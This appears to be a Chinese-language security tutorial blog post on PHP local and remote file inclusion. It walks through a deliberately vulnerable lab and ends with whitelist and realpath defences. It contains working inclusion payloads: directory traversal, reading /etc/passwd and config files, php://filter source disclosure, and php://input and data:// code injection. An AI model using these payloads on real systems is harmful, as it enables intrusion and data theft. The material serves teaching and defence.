Skip to content
Kurisu
Go back

文件包含漏洞(LFI/RFI)

LFI/RFI 区别、php://filter 读源码、日志包含、session 包含,均附验证过程。

核心知识点

1. 文件的概念与正常用途

// header.php
echo '<h1>教学网站</h1>';
// index.php
include 'header.php';
echo '<p>这里是首页正文</p>';

2. 四个函数

函数文件找不到时重复适合场景
include警告,后续继续执行非页面片段,如页脚
include_once警告,后续继续执行同一文件一次函数/类重复定义
require致命错误,程序终止文件,如数据库
require_once致命错误,程序终止同一文件一次类库和

重点:四者风险相同,文件名来自用户且未严格限制就可能被包含利用。

3. 被文件的扩展名为什么不重要

4. 漏洞产生原理

<?php
$page = $_GET['page'];
include $page;   // 用户可控的动态
?>

正常 ?page=home.php,攻击改 ?page=../../test.php。

两个条件:① 用 include/require 动态包含;② 变量用户可控。写死的 include("config.php") 不是漏洞。

5. LFI 与 RFI

项目LFIRFI
称Local File InclusionRemote File Inclusion
文件位置目标服务器本地远程服务器/远程资源
常见形式../、绝对路径、日志、Sessionhttp://、ftp://
依赖通常不依赖 allow_url_include通常要求 allow_url_include=On
常见危害信息泄露,条件满足时代码执行远程代码被执行
现实常见程度较常见现代环境较少见

RFI 检查:php -i | grep -E 'allow_url_fopen|allow_url_include'。

6. 目录遍历(../)

echo 'LFI_TEST_OK' > /var/www/lfi-marker.txt
# 访问 ?page=../../../lfi-marker.txt,页面出现 LFI_TEST_OK 说明层级正确

7. 读取 Windows 与 Linux 敏感文件

Linux 敏感文件:

路径可能得到的信息
/etc/passwd系统账户信息(用户名/UID/家目录/Shell,不含密码哈希)
/etc/apache2/apache2.confApache 主
/etc/httpd/conf/httpd.confRHEL 系 Apache
/etc/nginx/nginx.confNginx
/etc/my.cnfMySQL/MariaDB
/usr/local/php/etc/php.iniPHP

root:x:0:0:root:/root:/bin/bash = 用户名、x 密码占位、UID、GID、描述、家目录、登录 Shell。

Windows 敏感文件:

路径用途
C:/Windows/php.iniPHP
C:/phpstudy_pro/Extensions/php/php*/php.iniphpStudy 新版 PHP
C:/xampp/apache/conf/httpd.confXAMPP Apache
C:/xampp/apache/logs/access.logXAMPP 访问日志
C:/ProgramData/MySQL/MySQL Server*/my.iniMySQL

空白原因:文件不存在/层级错、无读权限、open_basedir、被执行但无输出、错误显示被关闭、过滤或拼接后缀。

8. 本地文件上传

copy 1.jpg /b + test.php /a 2.jpg

9. Web 日志、SSH 日志

GET /LFI_LOG_TEST_2026 HTTP/1.1
User-Agent: LFI_LOG_MARKER

10. Session 文件

11. PHP 伪协议详解(重点)

PHP 把文件、网络、请求体、数据、压缩统一抽象成”流”,协议决定打开方式。

协议主要作用文件中的用途
file://本地文件系统读取绝对路径文件
http:// / https://网络资源远程文件
ftp://FTP 资源远程资源访问
php://filter流过滤器Base64 读取 PHP 源代码(最常用)
php://inputHTTP 原始请求体特定下请求体
data://URL 嵌数据直接提供代码或文本
zip://ZIP 压缩访问压缩文件
phar://PHP 归档访问归档文件

file://

?page=file:///etc/passwd
?page=file:///C:/Windows/php.ini

绝对路径三个斜杠:file:// + 根路径前导斜杠。

php://filter —— 读取 PHP 源代码(最值得掌握)

?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php   # 省略 read= 的写法
echo 'PD9waHAgZWNobyAnSGVsbG8nOyA/Pg==' | base64 -d

或用 Burp Decoder 选 “Decode as Base64”。

php://input —— 请求体

POST /include/index.php?page=php://input HTTP/1.1
Host: 127.0.0.1
Content-Type: text/plain

<?php echo 'INPUT_OK'; ?>

要求 allow_url_include=On,POST 且 PHP 代码放请求体。

zip://

?page=zip://C:/Users/student/Desktop/test.jpg%23test.txt

data://

?page=data://text/plain,<?php echo 'DATA_OK'; ?>
?page=data://text/plain;base64,PD9waHAgZWNobyAnREFUQV9PSyc7ID8+

数据直接放 URL;明文易受编码/WAF 影响,Base64 更稳。要求 PHP>=5.2、allow_url_fopen=On、allow_url_include=On。

phar://

?page=phar://C:/Users/student/Desktop/test.zip/test.txt
?page=phar://C:/Users/student/Desktop/test.jpg/test.txt

用”归档路径/内部文件路径”,不使用 #;归档改名 jpg 仍可访问,只要底层格式被识别。

协议对比表:

协议用途allow_url_fopenallow_url_include
file://本地文件读取通常无要求通常无要求
php://filter源码读取通常无要求通常无要求
php://input请求体通常不是核心常见要求 On
data://URL 嵌数据常见要求 On常见要求 On
http://远程常见要求 On要求 On
zip://压缩通常无要求通常无要求
phar://归档通常无要求通常无要求

12. 常见限制、失败原因与排错

13. 漏洞检测流程与 Burp 操作

14. 编码与防御

最危险的写法:include $_GET['page'];;黑名单过滤 ../、php://、http:// 容易遗漏变形协议。

推荐:标识符到固定路径的白名单映射:

$pages = [
  'home'  => __DIR__ . '/pages/home.php',
  'news'  => __DIR__ . '/pages/news.php',
  'about' => __DIR__ . '/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
  http_response_code(404);
  exit('页面不存在');
}
include $pages[$key];

使用路径时的规范化检查:

$base   = realpath(__DIR__ . '/pages');
$name   = $_GET['file'] ?? '';
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
  http_response_code(400);
  exit('非法路径');
}
include $target;

realpath 解析 ../ 和符号链接,确认路径仍在目录内。

加固:关 allow_url_include、评估 allow_url_fopen、open_basedir、关 display_errors 并开日志、最小权限、上传目录与代码目录隔离且禁 PHP 执行。

上传功能加固:随机文件名、重新编码图片、存储到 Web 根目录外、独立域名/对象存储、禁止上传目录解析 PHP、白名单映射。

检查:参数来源?白名单固定?../ 能否跳出?支持 php://、data://、http://?上传/日志/Session 可被包含?错误页泄露路径?

实操步骤

# 实验目录结构
/var/www/html/lfi-lab/
├── index.php          # $page=$_GET['page']??'pages/home.php'; include $page;
├── pages/{home.php,news.php}
├── marker.txt
└── uploads/

# 1. 正常
?page=pages/home.php
# 2. 目录遍历
?page=../marker.txt
# 3. 读取敏感文件
?page=/etc/passwd
# 4. php://filter 读源码
?page=php://filter/read=convert.base64-encode/resource=index.php
# 5. 日志标记
GET /LFI_LOG_MARKER_01 HTTP/1.1(User-Agent 也写标记)
?page=../../../../var/log/apache2/access.log
# 6. php://input(POST 请求体写 PHP 代码)
?page=php://input
# 7. data:// / zip:// / phar:// 见上文

常见错误与排查


Share this post:

Previous Post
文件上传漏洞
Next Post
XSS-Labs 靶场全关卡通关